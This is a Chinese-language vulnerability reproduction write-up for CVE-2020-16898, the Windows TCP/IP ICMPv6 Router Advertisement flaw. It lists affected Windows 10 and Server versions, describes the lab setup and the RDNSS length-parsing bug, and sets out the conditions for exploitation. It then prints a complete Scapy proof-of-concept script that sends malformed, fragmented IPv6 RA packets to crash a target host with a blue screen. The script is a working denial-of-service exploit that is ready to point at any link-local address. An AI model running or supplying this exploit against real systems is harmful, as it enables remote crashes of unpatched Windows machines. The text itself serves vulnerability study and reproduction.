受影响版本
- Windows 10 Version 1709 for 32-bit Systems
- Windows 10 Version 1709 for ARM64-based Systems
- Windows 10 Version 1709 for x64-based Systems
- Windows 10 Version 1803 for 32-bit Systems
- Windows 10 Version 1803 for ARM64-based Systems
- Windows 10 Version 1803 for x64-based Systems
- Windows 10 Version 1809 for 32-bit Systems
- Windows 10 Version 1809 for ARM64-based Systems
- Windows 10 Version 1809 for x64-based Systems
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 2004 for 32-bit Systems
- Windows 10 Version 2004 for ARM64-based Systems
- Windows 10 Version 2004 for x64-based Systems
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
1.环境搭建
攻击机环境:windows 10 (python版本:3.7)
受害机环境:windows10 1909
桥接模式下查看IPv6
2.1 漏洞背景
2020年10月14日,某监测发现 Microsoft 发布了 TCP/IP远程代码执行漏洞的风险通告,该漏洞是由于Windows TCP/IP堆栈在处理IMCPv6 Router Advertisement(路由通告)数据包时存在漏洞,远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包 ,并将其发送到远程Windows主机上,可造成远程BSOD,漏洞编号为CVE-2020-16898。
2.2 漏洞成因
根据rfc5006 描述,RDNSS包的length应为奇数,而当攻击者构造的RDNSS包的Length为偶数时,Windows TCP/IP 在检查包过程中会根据Length来获取每个包的偏移,遍历解析,导致对 Addresses of IPv6 Recursive DNS Servers 和下一个 RDNSS 选项的边界解析错误,从而绕过验证,将攻击者伪造的option包进行解析,造成栈溢出,从而导致系统崩溃。
2.3漏洞利用条件
只有当源地址是link-local IPv6 时,才可利用该 bug。这个要求限制了潜在的目标!
整个 payload 必须是一个合法的 IPv6 数据包。如果把标头搞砸了,那么在触发该 bug 前,数据包就会遭拒绝。
在验证数据包大小的过程中,Optional 标头的所有已定义 “length” 必须和数据包大小相匹配。
该漏洞可允许私运 (smuggle) 一个额外的“标头”。该标头未经验证且包含 “Length” 字段。触发该 bug 后,会检查该字段和数据包大小的匹配情况。
Windows NDIS API 可触发该 bug,从利用的角度看,它的优化非常麻烦。为了绕过优化,需要使用分段!否则,你虽然能触发该 bug,但不会引发内存损坏后果!
Payload:
#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
v6_dst = "fe80::755a:cbf:f6b6:22e2"
v6_src = "fe80::4b2b:5cd2:f5a9:6d0e:8898"
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
c = ICMPv6NDOptEFA();
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
IPv6ExtHdrFragment()/pkt
l=fragment6(p_test_frag, 200)
for p in l:
send(p)
复现蓝屏截图:
在利用Payload时对其抓包;
目测红框下的Router Advertisement是最核心的包
想更仔细分析该漏洞的朋友,可查看这篇更专业的博客:https://blog.csdn.net/smellycat000/article/details/109172780